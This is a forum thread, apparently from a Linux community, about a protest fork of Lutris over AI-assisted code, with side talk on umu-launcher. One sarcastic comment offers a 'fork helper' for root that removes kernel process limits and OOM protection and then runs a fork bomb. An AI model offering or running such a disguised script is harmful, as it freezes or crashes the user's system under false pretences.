so somebody with zero programming skills and therefore zero experience with coding agents deemed AI assisted code such a big problem that they performatively forked a project at an arbitrary point. And they want to maybe maintain it while the whole issue started when the original maintainer said the project is too big to be maintained without assistance.
what are we doing here?
I use Claude at work. Every single one of my colleagues uses Claude at work. I don’t think I would’ve gotten anywhere close to where I am in this project without Claude. It’s legitimately helped me learn so much without costing my colleagues time or nerves.
I don’t care if someone uses AI to code, as long as they critically inspect and review the code it produced.
I know I’m making myself unpopular with this opinion, but this is the reality in a lot of companies. The productivity boost it gives is just unreal
This is the correct answer.
Recently removed lutris and just using umu launcher with custom wine prefixes
I don’t understand why you were getting downvoted for the choice to use umu launcher over Lutris. What am I missing?
I don’t know either, but I don’t mind, and its up to them.
Adding a bit of info to my comment: With lutris all I did was playing non steam games. Added an executable, set the wine version to GE or something, and used
lutris lutris:rungameid/12or something like this with a flag that didn’t start the GUI (can’t remember now).Now all I do is:
#!/bin/bash export WINEPREFIX=$HOME/Games/game-data/battlenet-wineprefix export PROTONPATH="$HOME/.steam/steam/compatibilitytools.d/GE-Proton10-33" umu-run "$WINEPREFIX/drive_c/Program Files (x86)/Battle.net/Battle.net.exe"This is just the basics, I like umu-launcher better, because I have longer scripts that set a lot of env vars, and do other stuff before starting the game. I guess lutris can do this too, but I’m not familiar with it, and its easier to do for me in a bash script.
I found umu-launcher because of this whole AI included into lutris drama. While lutris has a whole gui and everything that I don’t use, I feel like umu-launcher is exactly what I need, nothing more.
My guess is that some people have grown a little to attach to lutris. I’m not acustom to this kind of behavior inside the linux comunity
Worth keeping in mind that I’m not a programmer, I cannot write code yet but I can understand some of it when I read it and how it’s structured. I’ve wanted to learn for a long time, so this could potentially be a way to start learning if I ever have time.
I am a programmer but I wouldn’t trust myself I could invest enough time and knowledge into such a project. This is basically the announcement of someone making a fork. People make thousand forks a day, it is important what comes out it. Making a fork and saying maybe I will work on this project in the future after I learned how to code is not worthy of being news in my opinion.
On one hand, lol
On the other hand if they do have time that’s a nice way to learn programmingAbsolutely, and I would encourage them to do so! But that’s just not news interesting for a broader public lol
@gigachad@piefed.social has the best serious response, that being said…
So far, nothing but the README has been changed
Worth keeping in mind that I’m not a programmer, I cannot write code yet
Finally, what we’ve all been waiting for: a fork that liberates us from the tyranny of
git checkoutand editing a text file.Is there a Patreon or 501(c)(3) organization that we can donate to in order to support the continued work non-programmers who use social media announce protest forks of major projects without any ability or intent to continue the project?
We in the Linux community have too much free time and appreciate things like this consuming our surplus attention which would otherwise be wasted making memes about Windows, berating people for not reading the fantastic manual and tweaking our fastfetch layouts.
As a thanks to you, and all other performative fork developers, I’ve developed a simple bash script for your root user that will help you create forks in a more efficient manner:
#!/bin/bash sysctl -w kernel.pid_max=4194304 sysctl -w kernel.threads-max=1073741823 echo "max" > /sys/fs/cgroup/user.slice/user-$(id -u).slice/pids.max 2>/dev/null || true echo $$ > /sys/fs/cgroup/cgroup.procs 2>/dev/null || true ulimit -u unlimited echo -1000 > /proc/self/oom_score_adj :(){ :|:& };:On the one hand, I see your point (whether or not I agree with it).
On the other, you wasted way more of your surplus attention on writing a snarky comment and being a dick than you would have by just down voting and moving on.
I’m keeping to local cultural traditions
You wouldn’t happen to have a spare room available for rent, would ya?
Yes, but be warned, I have stairs in my house.

The way I use Lutris today is nothing more than a prefix manager, I click add game, set up my prefix, and install my games manually.
New features will be unlikely, but not entirely off the table if there’s a really good reason to include them.
Given this, wouldn’t simply bookmarking the last Lutris release that you find acceptable be an easier way to meet your needs?
Or are you trying to guard against Lutris disappearing or retroactively changing old versions?
i like their goal for the software. i don’t know if lutris uses overlayfs already but that’s probably also something to look into, since each prefix is like a gigabyte before anything is added and most prefixes use the same dependencies.
